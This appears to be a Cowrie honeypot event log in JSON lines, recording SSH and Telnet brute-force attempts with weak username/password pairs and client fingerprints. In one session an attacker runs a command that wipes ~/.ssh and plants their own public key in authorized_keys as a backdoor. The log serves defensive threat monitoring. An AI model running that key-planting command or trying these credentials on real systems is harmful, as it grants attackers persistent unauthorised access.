{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:00.934670Z","src_ip":"168.167.228.74","session":"25c510b16ce2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:01.227743Z","src_ip":"168.167.228.74","session":"25c510b16ce2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:01.230766Z","src_ip":"168.167.228.74","session":"25c510b16ce2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:01.270500Z","src_ip":"91.92.42.227","session":"6a1882c33bf5","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:01.482829Z","src_ip":"168.167.228.74","session":"25c510b16ce2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:01.485812Z","src_ip":"168.167.228.74","session":"25c510b16ce2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40284,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c97d4291fcb","protocol":"ssh","message":"New connection: 168.167.228.74:40284 (159.203.135.109:22) [session: 7c97d4291fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:01.732014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:01.736656Z","src_ip":"168.167.228.74","session":"7c97d4291fcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:01.982919Z","src_ip":"168.167.228.74","session":"7c97d4291fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:02.996514Z","src_ip":"168.167.228.74","session":"7c97d4291fcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:04.243565Z","src_ip":"168.167.228.74","session":"7c97d4291fcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40285,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf691ba22f58","protocol":"ssh","message":"New connection: 168.167.228.74:40285 (159.203.135.109:22) [session: cf691ba22f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:04.494366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:04.498312Z","src_ip":"168.167.228.74","session":"cf691ba22f58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:04.747430Z","src_ip":"168.167.228.74","session":"cf691ba22f58","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:05.776884Z","src_ip":"168.167.228.74","session":"cf691ba22f58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":33084,"dst_ip":"10.17.0.5","dst_port":22,"session":"f99d39bd152d","protocol":"ssh","message":"New connection: 91.92.42.227:33084 (10.17.0.5:22) [session: f99d39bd152d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:05.838188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:05.941446Z","src_ip":"91.92.42.227","session":"f99d39bd152d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:05.944087Z","src_ip":"91.92.42.227","session":"f99d39bd152d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:06.024539Z","src_ip":"168.167.228.74","session":"25c510b16ce2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:06.028106Z","src_ip":"168.167.228.74","session":"cf691ba22f58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:07.403627Z","src_ip":"91.92.42.227","session":"f99d39bd152d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:08.591438Z","src_ip":"91.92.42.227","session":"f99d39bd152d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":33166,"dst_ip":"10.17.0.5","dst_port":22,"session":"39d64755598a","protocol":"ssh","message":"New connection: 91.92.42.227:33166 (10.17.0.5:22) [session: 39d64755598a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:13.246269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:13.249374Z","src_ip":"91.92.42.227","session":"39d64755598a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:13.331941Z","src_ip":"91.92.42.227","session":"39d64755598a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"123","message":"login attempt [sftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:13.854824Z","src_ip":"91.92.42.227","session":"39d64755598a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:15.265149Z","src_ip":"91.92.42.227","session":"39d64755598a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58026,"dst_ip":"10.17.0.5","dst_port":22,"session":"21e0d4b2e7d2","protocol":"ssh","message":"New connection: 91.92.42.227:58026 (10.17.0.5:22) [session: 21e0d4b2e7d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:20.213698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:20.318135Z","src_ip":"91.92.42.227","session":"21e0d4b2e7d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:20.321552Z","src_ip":"91.92.42.227","session":"21e0d4b2e7d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:20.967357Z","src_ip":"91.92.42.227","session":"21e0d4b2e7d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:22.067425Z","src_ip":"91.92.42.227","session":"21e0d4b2e7d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":53038,"dst_ip":"159.203.135.109","dst_port":23,"session":"2570fbe00858","protocol":"telnet","message":"New connection: 102.37.220.188:53038 (159.203.135.109:23) [session: 2570fbe00858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:26.970049Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49218,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3c072544cab","protocol":"ssh","message":"New connection: 91.92.42.227:49218 (10.17.0.5:22) [session: a3c072544cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:27.342708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:27.488050Z","src_ip":"91.92.42.227","session":"a3c072544cab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:27.492113Z","src_ip":"91.92.42.227","session":"a3c072544cab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123","message":"login attempt [rdpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:28.204352Z","src_ip":"91.92.42.227","session":"a3c072544cab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:29.329298Z","src_ip":"91.92.42.227","session":"a3c072544cab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":59642,"dst_ip":"10.17.0.5","dst_port":22,"session":"7805d54fb8d3","protocol":"ssh","message":"New connection: 103.248.120.6:59642 (10.17.0.5:22) [session: 7805d54fb8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:30.581917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:30.585981Z","src_ip":"103.248.120.6","session":"7805d54fb8d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.6400842666626,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:31.364464Z","src_ip":"172.81.62.90","session":"7172558233ba","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:31.485484Z","src_ip":"103.248.120.6","session":"7805d54fb8d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"root","message":"login attempt [postgres/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:23:32.417013Z","src_ip":"103.248.120.6","session":"7805d54fb8d3","protocol":"ssh"}
